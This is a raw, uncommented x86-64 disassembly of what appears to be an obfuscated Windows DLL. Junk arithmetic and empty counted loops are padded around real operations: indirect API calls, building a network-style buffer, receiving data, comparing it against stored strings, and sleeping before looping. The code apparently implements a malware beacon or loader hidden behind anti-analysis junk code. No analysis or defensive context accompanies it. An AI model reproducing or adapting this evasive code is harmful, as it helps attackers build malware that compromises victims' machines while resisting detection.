mov qword [rbp - 0xf], r8
mov dword [rbp - 6], edx
sub qword [rbp - 0xd], r9
mov rax, qword [rbp - 8]
mov r10, 0x478f
mov r11, qword [rbp - 4]
xor r10, qword [rbp - 0xc]
mov qword [rbp - 0xd], r10
sub ecx, 0x7aa2
lea rcx, [rbp - 3]
mov dword [rbp - 5], eax
leave
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x60], 0x18
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x70], 1
push rdi
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x258
and qword [rbp - 0x19a], rdi
and dword [rbp - 0xfe], edx
mov dword [0x180009ba5], eax
mov edi, dword [rbp - 0xe0]
sub edx, ecx
add edx, ecx
sub rax, qword [rbp - 0x14d]
or r11, rdx
mov dword [0x180009ba5], edi
mov ecx, edx
mov rax, qword [rbp - 0x23c]
sub qword [rbp - 0x14c], rdi
cmp rsi, 0x2569c1cb
jns 0x180002443
movzx eax, ch
mov rax, qword [rbp - 0x16]
mov qword [rbp - 0x2e], r8
mov qword [0x180009bac], r11
mov edx, dword [rbp - 0x154]
lea rsi, [rbp - 0x169]
add eax, 0xd3a8
mov qword [rbp - 0x14a], r9
mov dword [rbp - 0xa9], edi
or r11, r10
xor dword [rbp - 0x45], edi
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000255a
mov esi, edx
mov dword [rbp - 0x232], esi
sub edi, dword [rbp - 0x5d]
sub rcx, qword [rbp - 0x194]
mov rsi, qword [0x180009ba7]
movzx edi, dl
mov r8, qword [rbp - 0x177]
mov edx, dword [rbp - 0x10d]
mov qword [rbp - 0x133], r10
mov dword [rbp - 0x6f], edi
lea rcx, [0x180009bad]
mov qword [rbp - 0xf7], rsi
mov qword [rbp - 0x1e2], r10
mov ecx, dword [rbp - 0x1e0]
mov dword [rbp - 0x16], ecx
add qword [rbp - 0x13d], r8
add r10, rcx
sub rdx, 0xd735
add ecx, 0xbb32
movzx edx, ah
nop
mov dword [rbp - 0x92], edx
movzx edx, dx
mov rcx, qword [str.uABPuyP5PukkvHISl2r]
and r9, r11
mov dword [rbp - 0x1cd], esi
movzx edx, byte [rbp - 0xab]
xor rax, rcx
mov edi, edx
sub edi, dword [rbp - 0x84]
sub dword [rbp - 0xc6], ecx
mov ecx, edx
mov r9, qword [rbp - 0x226]
mov dword [rbp - 0x196], eax
mov r11, 0x1b6c
mov esi, dword [rbp - 0x207]
mov dword [rbp - 0xc4], ecx
or rcx, qword [rbp - 0x13c]
or esi, dword [rbp - 0x4a]
mov qword [rbp - 0x18e], r8
add qword [rbp - 0x11f], rax
mov dword [rbp - 0xf7], edx
mov edx, dword [rbp - 0x4e]
add edx, ecx
mov dword [0x180009ba7], edx
xor edx, dword [rbp - 0x29]
mov qword [rbp - 0xad], r11
mov r11, qword [rbp - 0x1af]
mov eax, dword [0x180009ba7]
inc qword [rsp]
cmp qword [rsp], 0x1b58
jle 0x180002457
add rsp, 0x10
leave
pop rsi
pop rdi
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x88]
mov r9d, 0
mov rax, qword [0x180009a94]
call rax
push r12
push r15
push r13
push rbx
push r14
push rbp
mov rbp, rsp
sub rsp, 0x48
mov ebx, edx
mov qword [rbp - 0x26], rax
mov rdx, r12
add qword [rbp - 0x1f], r9
mov ebx, dword [rbp - 0x2e]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002680
mov ebx, dword [rbp - 0x35]
sub eax, dword [rbp]
mov qword [rbp - 0x28], r14
mov ecx, dword [0x180009bae]
movzx ecx, dx
xor r10, r15
mov r9, rcx
add dword [rbp - 0x14], ebx
movzx ebx, word [rbp - 3]
mov qword [rbp - 0x1c], rax
mov eax, dword [rbp - 0x1e]
sub rdx, 0x9184
and edx, dword [rbp - 0x16]
mov ecx, dword [rbp - 0x34]
add r12, 0xd738
mov qword [rbp - 0x1a], r12
mov rcx, qword [rbp - 0x11]
or r10, qword [rbp - 0x17]
mov dword [rbp - 0xb], edx
mov dword [rbp - 0xb], edx
sub qword [0x180009bb2], r13
mov rdx, qword [rbp - 2]
mov r13, r8
sub r10, 0x20e
xor edx, dword [rbp - 0x36]
add dword [0x180009bad], ebx
mov rax, qword [rbp - 9]
xor ecx, ebx
add r13, qword [rbp - 0x28]
sub ecx, 0x4915
lea r8, [rbp - 0x1c]
xor dx, 0xfd7b
mov qword [rbp - 0x36], r8
movzx ecx, cx
and ecx, ebx
mov r14, qword [rbp - 0x25]
sub ebx, 0x7e4e
movzx eax, bh
mov qword [rbp - 0x16], r15
sub r12, 0x3034
mov r13, r14
sub edx, 0x1e60
sub ebx, edx
and dword [rbp - 0x10], ebx
sub rbx, r10
sub qword [rbp - 0x3c], rdx
inc qword [rsp]
mov edx, 0x68d8
cmp edx, dword [rsp]
jl 0x1800025c2
add rsp, 0x10
or qword [rbp - 0x30], rcx
movzx ebx, cl
add ecx, eax
mov dword [rbp - 0x15], ecx
mov qword [rbp - 0x14], r15
xor edx, dword [rbp - 0x17]
cmp ecx, ebx
je 0x18000270d
lea rdx, [rbp - 0x2f]
mov r14, 0x9e0b
mov qword [rbp - 0x20], rdx
mov eax, 0x74de
mov dword [rbp - 6], eax
or ecx, dword [rbp - 0x3a]
xor dword [rbp - 0x2d], ecx
mov rbx, qword [rbp - 0x3b]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800026fc
sub r11, qword [rbp - 9]
mov ecx, eax
mov rax, qword [rbp - 0x28]
and ecx, dword [0x180009bb1]
mov edx, dword [rbp - 0x3f]
or ebx, 0x647c
mov ecx, dword [rbp - 0x3f]
or r14, qword [rbp - 0x1f]
inc qword [rsp]
mov r10, 0x4a7c
cmp qword [rsp], r10
jle 0x1800026d8
add rsp, 0x10
leave
pop r14
pop rbx
pop r13
pop r15
pop r12
lea rsi, [0x180009446]
mov r10, qword [rbp + 0x80]
call fcn.180006021
push rbp
mov rbp, rsp
sub rsp, 0x28
mov dword [rbp - 0xd], ecx
add rcx, rax
mov dword [rbp - 0x1e], eax
sub r10, qword [rbp - 0x12]
mov rdx, qword [rbp - 0x11]
mov qword [rbp - 8], rdx
mov qword [rbp - 0x16], r11
mov eax, dword [rbp - 0x12]
add rax, 0x248b
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002789
mov dword [rbp - 0x1a], ecx
mov ecx, edx
movzx eax, al
and ecx, 0x8630
mov rax, qword [rbp - 0x13]
mov qword [rbp - 0x19], rdx
mov qword [rbp - 0xa], rcx
mov eax, edx
mov qword [rbp - 0x19], rcx
mov ecx, dword [rbp - 0xe]
inc qword [rsp]
mov r8, 0x8180
cmp qword [rsp], r8
jle 0x180002762
add rsp, 0x10
mov r8, rax
add ecx, dword [rbp - 0xc]
mov dword [rbp - 0x1f], eax
mov dword [rbp - 4], edx
movzx edx, byte [rbp - 0x17]
mov eax, 0xbab6
mov dword [rbp - 0x10], eax
or dword [rbp - 0x1f], eax
mov edx, 0x4a03
mov eax, dword [rbp - 0x15]
mov dword [str.uABPuyP5PukkvHISl2r], eax
mov qword [rbp - 0x1b], rdx
xor dword [rbp - 0xd], edx
movzx eax, al
or dword [rbp - 9], ecx
mov qword [rbp - 0xf], r10
mov edx, ecx
add r8, rcx
xor edx, eax
sub dx, 0xb994
mov eax, dword [rbp - 2]
mov eax, edx
add ecx, dword [rbp - 3]
lea r10, [rbp - 7]
mov r8, r10
mov edx, dword [rbp - 0x1a]
add qword [rbp - 8], rcx
mov ecx, edx
mov eax, dword [rbp - 0x10]
sub qword [rbp - 8], r10
mov qword [rbp - 0x17], rax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002815
inc qword [rsp]
mov ecx, 0x421b
cmp ecx, dword [rsp]
jl 0x180002811
add rsp, 0x10
leave
mov rcx, qword [0x18000943e]
mov rdx, 0xea60
mov rax, qword [0x180009aac]
call rax
push rdi
push r12
push rsi
push r14
push r13
push r15
push rbp
mov rbp, rsp
sub rsp, 0x438
sub ecx, 0x3d58
mov ecx, edi
add ecx, 0x7bcc
mov dword [rbp - 0x3f8], eax
add rcx, r13
mov r12, r15
mov dword [rbp - 0xb2], esi
mov ecx, dword [rbp - 0x35f]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000293f
mov qword [rbp - 0x124], r8
xor rsi, qword [rbp - 0x1bc]
add dword [rbp - 0x3a9], esi
movzx eax, dl
sub dword [rbp - 0x23a], edi
movzx edx, byte [rbp - 0x4c]
mov qword [rbp - 0xf7], r8
mov ecx, dword [rbp - 0x15c]
and ecx, edi
sub dword [rbp - 0x137], edi
or r15, qword [rbp - 0x243]
add dword [rbp - 0x3c0], edi
xor ecx, esi
xor ecx, 0x5353
add r9, qword [rbp - 0x24c]
mov edx, dword [rbp - 0x391]
mov r10, r9
mov r11, qword [rbp - 0x2ff]
mov r14, rdx
sub dword [rbp - 0x424], edx
mov dword [rbp - 0x2fd], eax
sub dword [rbp - 0x7e], esi
or qword [rbp - 0x3a8], rsi
mov qword [0x180009ba6], rcx
movzx eax, cx
add r12, 0x2551
lea r15, [rbp - 0xd6]
mov eax, esi
movzx edi, dl
mov qword [rbp - 0x30f], r10
movzx edi, cl
add ecx, dword [rbp - 0x11e]
mov rsi, r14
add rdx, qword [rbp - 0x176]
sub ecx, esi
inc qword [rsp]
cmp qword [rsp], 0xde7
jle 0x180002887
add rsp, 0x10
mov qword [rbp - 0x3be], rsi
sub qword [rbp - 0x13b], r15
mov qword [0x180009ba8], r9
xor r9, 0xf30c
sub dword [0x180009ba7], edi
or dh, byte [rbp - 0x18d]
movzx esi, dh
mov dword [rbp - 0x220], eax
movzx eax, dh
mov eax, dword [rbp - 0x330]
sub r10, 0xc696
sub qword [rbp - 0x17c], r12
mov qword [rbp - 0xba], r14
mov r11, qword [rbp - 0x35b]
mov r12, 0x9f82
xor r11, r13
mov esi, dword [rbp - 0x13d]
sub rsi, qword [rbp - 0x176]
sub edi, eax
mov rdx, r9
lea r9, [rbp - 0x334]
and dword [rbp - 0x305], eax
mov edx, 0xff6d
mov qword [rbp - 0x177], rcx
mov qword [0x180009bab], r9
mov r13, 0xa45e
lea r15, [rbp - 0x130]
mov edi, 0x83bc
and ecx, edx
mov edx, dword [rbp - 0x124]
leave
pop r15
pop r13
pop r14
pop rsi
pop r12
pop rdi
mov rcx, 0x4006
mov rax, qword [0x180009b3c]
call rax
mov qword [0x18000942e], rax
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x448
mov qword [0x180009bb2], rcx
mov rcx, r10
mov eax, dword [rbp - 0x247]
mov rcx, r10
add edx, dword [rbp - 0x9d]
or rcx, r11
lea rcx, [rbp - 0x19f]
movzx edx, al
and ecx, edi
cmp eax, ecx
jb 0x180002aba
xor r10, rax
mov qword [rbp - 0x3a0], r9
and rax, rcx
mov dword [rbp - 0x37d], edx
add qword [rbp - 0x1ae], r9
movzx edx, dh
mov edx, dword [rbp - 0xb5]
add qword [rbp - 0x1ec], rax
movzx edi, dx
and word [rbp - 0x15d], di
add rcx, qword [rbp - 0x2a4]
movzx eax, ch
lea r8, [rbp - 0x357]
mov qword [rbp - 0x2d6], r11
and dword [rbp - 0x316], edx
add r11, rdx
mov edi, dword [rbp - 0x1f9]
add r9, qword [rbp - 0x1a6]
sub r9, qword [rbp - 0x2e6]
mov edi, edx
mov dword [rbp - 0x10], ecx
mov dword [rbp - 0x239], ecx
mov rax, 0xb4bf
mov qword [rbp - 0x404], r8
mov edx, dword [str.uABPuyP5PukkvHISl2r]
sub ecx, dword [rbp - 0x22]
sub r9, qword [rbp - 0x1ac]
add ecx, 0xd504
add edi, ecx
cmp r8, rcx
jne 0x180002b8d
mov eax, edx
mov ecx, edx
mov eax, dword [rbp - 0x383]
mov qword [rbp - 0x18b], r8
mov dword [rbp - 0x277], eax
add qword [0x180009ba7], rax
movzx edi, di
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002b7f
mov qword [rbp - 0x3b], r9
add r10, rcx
mov rdx, qword [rbp - 0x1c1]
movzx edx, ch
mov ecx, dword [rbp - 0x25c]
mov rdi, qword [0x180009baf]
lea rcx, [rbp - 0x263]
mov dword [rbp - 0x364], eax
add rdx, 0x86c3
mov rdi, r11
movzx edi, ah
movzx edi, al
mov rdx, qword [rbp - 0x2aa]
mov r8, qword [rbp - 0x17e]
or eax, edx
mov edx, dword [rbp - 0x392]
inc qword [rsp]
cmp qword [rsp], 0x3e11
jle 0x180002b2a
add rsp, 0x10
leave
pop rdi
mov rcx, qword [0x18000942e]
mov eax, dword [0x180009225]
mov dword [rcx], eax
mov word [rcx + 4], 2
add rcx, 6
lea rdx, [0x1800098e0]
mov rax, qword [0x180009b44]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x288
mov qword [rbp - 0x107], r9
mov qword [rbp - 0x16b], r9
sub eax, edx
mov byte [rbp - 0x23], al
or qword [rbp - 0x9f], rcx
mov r10, qword [rbp - 0x245]
mov edx, dword [rbp - 0x218]
movzx ecx, dl
mov qword [rbp - 0x42], r10
mov dword [str.uABPuyP5PukkvHISl2r], eax
mov rcx, qword [0x180009bb0]
movzx edx, cl
sub ecx, dword [rbp - 0x84]
mov r11, rax
mov edx, dword [rbp - 0x57]
mov rcx, qword [0x180009bb0]
mov edx, eax
and dword [rbp - 0x1ab], edx
mov ecx, dword [rbp - 0x258]
lea r8, [rbp - 0x169]
add qword [str.uABPuyP5PukkvHISl2r], rdx
mov r9, qword [rbp - 0xcc]
mov qword [rbp - 0x167], r8
and eax, dword [rbp - 0x13d]
add dword [rbp - 0x99], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180002d04
mov eax, edx
add r9, qword [rbp - 0x225]
add r8, 0x1157
mov edx, 0xcc7c
mov dword [rbp - 0x212], eax
mov edx, eax
sub r11, rdx
mov rax, rdx
mov dword [rbp - 0x175], edx
sub dword [rbp - 0x271], ecx
mov dword [rbp - 0x11], eax
sub qword [rbp - 0x1c2], r9
lea r8, [0x180009ba6]
movzx edx, dh
lea rdx, [rbp - 0x186]
mov eax, dword [rbp - 0x9c]
mov dword [rbp - 0x6b], eax
mov qword [rbp - 0x1ff], rdx
mov r9, qword [rbp - 0x1ad]
mov dword [rbp - 0x43], edx
add dword [rbp - 0x23c], edx
sub r9, qword [rbp - 0x1d4]
movzx eax, ah
add edx, 0xbd0
sub ecx, 0x2443
mov qword [rbp - 0x230], rdx
add rax, qword [rbp - 0xb]
mov eax, dword [rbp - 0xed]
sub dword [rbp - 0x110], eax
movzx ecx, byte [rbp - 0x28]
sub dword [rbp - 0x110], eax
mov rax, qword [rbp - 0x23]
inc qword [rsp]
mov edx, 0x349
cmp edx, dword [rsp]
jl 0x180002c5b
add rsp, 0x10
leave
mov rdx, qword [0x18000942e]
add rdx, 0xc
mov rcx, qword [rbp + 0x88]
mov r8, 0x4000
jmp 0x180002fc6
lea r9, [0x180009436]
mov qword [rsp + 0x20], 0
mov rax, qword [0x180009a9c]
call rax
add qword [0x180009436], 0xc
push rbp
mov rbp, rsp
sub rsp, 0x138
mov r10, r9
mov qword [rbp - 0x112], r8
mov qword [rbp - 0x88], rax
lea r8, [rbp - 0x9b]
or r9, rcx
mov dword [rbp - 0xc3], edx
mov edx, dword [rbp - 0x111]
mov qword [rbp - 0x48], r8
movzx edx, al
or qword [rbp - 0x6b], r11
movzx ecx, byte [rbp - 0xfa]
mov eax, dword [rbp - 0x4f]
mov edx, eax
mov dword [rbp - 0x50], ecx
mov dword [rbp - 0x6d], eax
add qword [rbp - 0x91], r10
and ecx, eax
lea rcx, [rbp - 0x12e]
mov eax, dword [rbp - 0x124]
mov r9, qword [0x180009bb1]
mov dword [rbp - 0xec], eax
mov r8, qword [rbp - 0x106]
cmp edx, 0x62269d7c
jne 0x180003078
mov qword [rbp - 0x7b], r11
movzx ecx, al
mov r9, r10
xor ecx, dword [rbp - 0x103]
sub ecx, dword [rbp - 0x10c]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003104
movzx ecx, dx
mov qword [rbp - 0xbe], r11
mov dword [0x180009baf], ecx
mov qword [rbp - 0x19], r8
mov rdx, qword [rbp - 0x31]
mov eax, dword [rbp - 0xca]
movzx ecx, byte [rbp - 0x79]
sub edx, dword [rbp - 0xc1]
add dword [rbp - 0x3b], edx
add r9, qword [rbp - 0xaa]
mov qword [0x180009ba6], r11
movzx ecx, dl
movzx edx, byte [0x180009bb0]
xor qword [rbp - 0x4d], r11
mov dword [rbp - 0x107], ecx
movzx eax, dh
mov dword [rbp - 0x60], eax
mov r11, r8
add r11, 0xc6ed
mov rdx, qword [0x180009bb1]
mov dword [rbp - 0x51], ecx
mov qword [rbp - 0x68], r8
mov qword [rbp - 0xa9], rcx
add edx, eax
inc qword [rsp]
mov eax, 0xba1e
cmp eax, dword [rsp]
jl 0x18000308c
add rsp, 0x10
movzx eax, al
mov eax, 0xb8e
or eax, 0x30f9
mov ecx, 0x2f91
mov r10, qword [rbp - 0xd4]
and edx, ecx
sub edx, 0x5c70
movzx edx, cl
mov qword [rbp - 0x7d], r8
or r8, rdx
mov dword [rbp - 0x6e], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003193
mov rax, qword [rbp - 0xd1]
mov qword [rbp - 0x10f], rdx
add eax, dword [rbp - 0x65]
mov dword [rbp - 0x84], eax
mov ecx, dword [rbp - 0x109]
add r10, 0xbc9c
sub rax, 0x3715
add edx, 0x5318
mov dword [rbp - 0x9a], edx
or r10, rcx
sub qword [rbp - 0x6a], r10
inc qword [rsp]
cmp qword [rsp], 0x1bd6
jle 0x180003152
add rsp, 0x10
leave
lea rbp, [rsp + 0x200]
mov rcx, qword [0x18000942e]
add rcx, 0xc
lea rdx, [0x1800095b2]
mov rax, qword [0x180009b5c]
call rax
cmp rax, 0
jne 0x1800075fa
mov rcx, qword [0x18000942e]
add rcx, 0xc
lea rdx, [0x1800095b7]
mov rax, qword [0x180009b5c]
call rax
cmp rax, 0
jne 0x1800075fa
push rbp
mov rbp, rsp
sub rsp, 0x2b8
lea rdx, [rbp - 0x4f]
sub dword [rbp - 0xef], edx
mov dword [rbp - 0x1a1], eax
test qword [0x180009bb3], rcx
je 0x18000333d
mov r8, r11
or edx, ecx
mov rcx, 0x1dbb
mov eax, dword [rbp - 0x1bc]
mov edx, dword [rbp - 0x31]
sub r10, qword [rbp - 0x28b]
and qword [rbp - 0x22f], r11
mov qword [rbp - 0x8d], r11
mov eax, dword [0x180009bb3]
add rax, 0xb84b
and edx, dword [rbp - 0x287]
mov ax, word [0x180009baf]
movzx ecx, cl
or dword [rbp - 0xcd], ecx
movzx edx, ch
mov dword [rbp - 0x13f], eax
mov ecx, dword [rbp - 0x51]
sub r11, qword [rbp - 0x90]
sub rax, 0xf3f5
mov qword [rbp - 0x34], r10
mov qword [rbp - 0xbd], r10
movzx ecx, byte [rbp - 0xe]
mov edx, ecx
mov dword [rbp - 0x1e9], ecx
add rax, r10
mov qword [rbp - 0x277], r9
mov r8, rdx
add dword [rbp - 0xc6], edx
mov rax, qword [rbp - 0x14f]
or edx, ecx
and dword [rbp - 0x98], edx
sub dword [0x180009ba5], edx
movzx eax, word [rbp - 0x1a2]
mov qword [rbp - 0x26], r10
mov ecx, 0x13aa
and r9, qword [rbp - 0x9d]
mov dword [rbp - 0x1d0], edx
mov r10, qword [rbp - 2]
mov dword [rbp - 0x1a9], eax
mov rax, qword [rbp - 0x137]
mov qword [rbp - 0x19f], rcx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003314
mov dword [rbp - 0x254], edx
sub r11, qword [rbp - 0x242]
inc qword [rsp]
cmp qword [rsp], 0x34d4
jle 0x180003303
add rsp, 0x10
mov ecx, dword [rbp - 0x27]
mov eax, ecx
add eax, dword [rbp - 6]
mov qword [rbp - 0x270], rdx
mov ecx, dword [rbp - 0x177]
add rax, r9
mov dword [rbp - 0x2e], ecx
sub rcx, r9
cmp r10, 0xffffffffff3343b4
je 0x180003393
mov rax, qword [rbp - 0x165]
or qword [0x180009bab], r11
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003385
mov eax, dword [rbp - 0x48]
or rax, rdx
lea r9, [rbp - 0x125]
xor r11, qword [rbp - 0x1db]
mov edx, dword [0x180009ba6]
mov eax, ecx
inc qword [rsp]
cmp qword [rsp], 0xe75e
jle 0x180003365
add rsp, 0x10
leave
mov rdi, qword [0x18000942e]
add rdi, 6
movsxd rsi, dword [0x180009436]
mov r12, 0x78
call fcn.180005189
mov rcx, r11
mov eax, dword [rbp - 0x141]
mov edx, ecx
mov r10, r11
mov dword [rbp - 0x271], edi
mov rdi, qword [rbp - 0x1cd]
mov r10, qword [rbp - 0xcb]
lea r9, [rbp - 0x154]
mov dword [rbp - 0x170], edi
or eax, dword [0x180009ba7]
mov ecx, eax
mov ebx, dword [rbp - 0x1e5]
lea r9, [rbp - 0x29]
mov edi, 0xf1e9
xor qword [rbp - 0xe], r8
mov edi, dword [rbp - 0xe8]
mov byte [rbp - 0x306], ah
add qword [rbp - 0x20], r11
mov r8, qword [rbp - 0x224]
mov dword [rbp - 0x1c5], edx
movzx ecx, ah
mov qword [rbp - 0x60], rbx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003531
sub r10, 0x77ee
sub ebx, eax
mov dword [rbp - 0x1eb], ecx
inc qword [rsp]
mov ecx, 0x3ea6
cmp ecx, dword [rsp]
jl 0x18000351e
add rsp, 0x10
mov rcx, qword [0x180009423]
mov rax, qword [0x180009b2c]
call rax
mov qword [0x180009423], 0
jne 0x1800036bc
push rdi
push r12
push r14
push r13
push rbx
push rbp
mov rbp, rsp
sub rsp, 0x3e8
mov dword [rbp - 0x2c], edi
sub rdx, 0x6e33
mov dword [rbp - 0x32d], edx
sub r11, qword [rbp - 0x10b]
mov qword [rbp - 0xfb], r12
mov edx, ebx
mov ecx, dword [rbp - 0xbb]
lea rbx, [rbp - 0x1c1]
mov ecx, dword [rbp - 0x4a]
sub edx, 0xd937
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000367c
mov r13, qword [0x180009bb1]
mov rdx, qword [rbp - 0x304]
mov dword [rbp - 0x32a], ebx
mov qword [rbp - 8], r8
sub rdi, r9
mov eax, dword [rbp - 0x245]
mov r12, qword [rbp - 0x238]
mov ax, word [rbp - 0x112]
mov dword [rbp - 0x32c], eax
movzx eax, bl
movzx ebx, dl
mov eax, edx
mov dword [rbp - 0xcb], edx
mov r9, qword [rbp - 0x84]
and dword [rbp - 0x262], ebx
movzx ecx, bx
mov r14, qword [0x180009ba6]
mov dword [rbp - 0x155], edi
mov rcx, qword [rbp - 0xf3]
lea rdx, [rbp - 0xad]
mov qword [0x180009bab], rdi
mov r13, qword [rbp - 0x1c7]
mov edx, eax
mov r13, qword [rbp - 0x23f]
mov rcx, qword [rbp - 0x2f4]
add ecx, dword [rbp - 0xb9]
xor qword [rbp - 0x254], rcx
mov edi, dword [rbp - 0x13c]
inc qword [rsp]
cmp qword [rsp], 0x510b
jle 0x1800035d9
add rsp, 0x10
mov dword [rbp - 0x24], edx
mov r10, 0xa1e3
mov rcx, rbx
sub r9, 0x9501
leave
pop rbx
pop r13
pop r14
pop r12
pop rdi
ret
mov rcx, qword [0x1800098d8]
mov rax, qword [0x180009adc]
call rax
mov qword [0x1800098d8], 0xffffffffffffffff
mov rcx, 0x493e0
mov rax, qword [0x180009aa4]
call rax
mov rdx, qword [rbp - 0x143]
mov ecx, dword [rbp - 0x4b]
mov dword [rbp - 0x182], edx
movzx ecx, ch
mov eax, dword [rbp - 0x115]
movzx eax, ah
sub dword [0x180009baa], ecx
mov qword [rbp - 0x98], rcx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800037d9
mov rcx, r8
mov rdx, rax
mov ecx, dword [rbp - 0x5e]
mov dword [rbp - 0xbb], edx
movzx eax, ah
mov dword [rbp - 0x32], edx
mov eax, 0xe7a6
and rcx, qword [rbp - 0x1bc]
mov edx, eax
and edx, dword [rbp - 0x18c]
mov rax, r8
mov rdx, qword [rbp - 0x1ab]
mov dword [rbp - 0x79], edx
sub ecx, dword [rbp - 0x7b]
add qword [rbp - 0xf3], r9
movzx edx, dl
sub rax, qword [rbp - 0x1fe]
mov ecx, edx
mov edx, dword [0x180009baf]
add ecx, 0x7dea
xor rdx, qword [rbp - 0xc9]
sub eax, dword [rbp - 0x6f]
mov dword [rbp - 0x53], edx
inc qword [rsp]
mov ecx, 0x22c3
cmp ecx, dword [rsp]
jl 0x180003770
add rsp, 0x10
mov qword [rbp - 0xbb], r11
sub dword [0x180009bac], ecx
and qword [rbp - 0xcd], rdx
mov eax, dword [rbp - 0x47]
mov qword [rbp - 0x1fe], r11
mov ecx, dword [rbp - 0x80]
mov qword [rbp - 0x137], r9
movzx edx, cl
mov dword [rbp - 0x1b6], edx
mov rcx, qword [0x180009ba6]
mov qword [0x180009ba8], rdx
mov eax, edx
add ecx, eax
or qword [rbp - 0xf7], rcx
mov dword [rbp - 0x168], edx
mov qword [rbp - 0xd8], rdx
movzx eax, byte [rbp - 0x43]
and qword [rbp - 0x1ea], r10
movzx eax, ah
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003877
movzx eax, dx
sub qword [0x180009bab], rcx
mov edx, dword [rbp - 0xe3]
sub rcx, rdx
or ecx, dword [rbp - 0x39]
mov r9, rdx
inc qword [rsp]
mov edx, 0xe222
cmp edx, dword [rsp]
jl 0x18000385a
add rsp, 0x10
push r13
push rdi
push r12
push rbp
mov rbp, rsp
sub rsp, 0x288
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000773c
mov dword [rbp - 0x1a], edx
mov rdx, rdi
mov r13, rcx
mov qword [rbp - 0x13f], rdi
mov dx, ax
mov r9, 0xe2ea
mov eax, edx
add ecx, edi
mov cl, byte [rbp - 0xbb]
sub dword [0x180009ba8], edx
movzx eax, dh
mov edi, dword [0x180009bb0]
mov r12, qword [rbp - 0x81]
mov eax, dword [rbp - 0x13a]
sub qword [0x180009ba8], r10
mov rax, qword [rbp - 0x73]
mov ecx, eax
sub qword [rbp - 0xdf], r8
add edx, dword [rbp - 0xa2]
mov r12, r10
mov ecx, dword [rbp - 0x1dd]
mov rcx, 0xd2da
mov rcx, rdi
mov edi, dword [rbp - 0x1d5]
or r9, 0x8c38
add dword [rbp - 0x125], eax
mov dword [rbp - 0x26f], eax
mov r8, r11
mov qword [rbp - 0x1a8], r9
mov rdx, 0x858b
mov dword [rbp - 0xb], eax
sub ecx, dword [rbp - 8]
sub edx, dword [rbp - 0x10d]
movzx eax, cx
mov rcx, qword [rbp - 0xdb]
mov rcx, rax
sub dword [rbp - 0x9d], edi
movzx edx, ax
mov rdi, 0xd347
mov qword [rbp - 0x203], r9
mov edi, dword [rbp - 0x9e]
xor rax, qword [rbp - 0x182]
add ecx, eax
movzx eax, di
xor rax, rdx
and dword [rbp - 0x211], edx
xor r13, 0x76fd
add dword [rbp - 0x1be], ecx
add qword [rbp - 0xc6], r13
mov dword [rbp - 0x1fc], ecx
movzx eax, dl
mov qword [rbp - 0x18a], r9
mov dword [rbp - 0xd3], ecx
sub r11, 0x7714
mov dword [rbp - 0x45], edx
add qword [rbp - 0x121], r10
inc qword [rsp]
mov rdx, 0x1d64
cmp qword [rsp], rdx
jle 0x18000761b
add rsp, 0x10
mov qword [rbp - 0x1e1], r8
mov rcx, 0x160c
lea r11, [0x180009ba8]
add qword [rbp - 0x245], r9
mov dword [rbp - 0x42], eax
mov dword [rbp - 0x6b], edi
cmp eax, edi
jno 0x180007777
cmp rcx, r10
js 0x1800077b5
add ecx, 0x6bb8
xor qword [rbp - 0x1d2], rdx
mov dword [rbp - 0x10d], edi
xor dword [rbp - 0x26e], ecx
mov dword [rbp - 0x277], edi
mov qword [rbp - 0xc4], rcx
mov edi, dword [rbp - 0x1a5]
mov eax, dword [rbp - 0xa6]
or r11, qword [rbp - 0x74]
sub eax, dword [rbp - 0xf]
leave
pop r12
pop rdi
pop r13
mov rcx, 0x1388
call sub.KERNEL32.dll_Sleep
mov rax, 0
cmp rax, 0
je 0x1800075fa